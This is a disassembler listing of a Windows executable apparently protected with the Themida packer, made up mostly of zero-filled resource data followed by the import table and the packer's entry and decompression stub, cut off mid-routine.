		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 00101000 (1052672.)
; Section size in file		: 00101000 (1052672.)
; Offset to raw	data for section: 000E1000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 4E1000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 43495360h, 41179h, 54140h, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054B46B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054E900 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054EB76 SIZE 00000049 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 10h,	4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E126Ah
		add	ecx, edi
		jmp	short loc_4E1090
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_54B46B
		mov	ecx, offset word_4E126A


loc_4E1090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
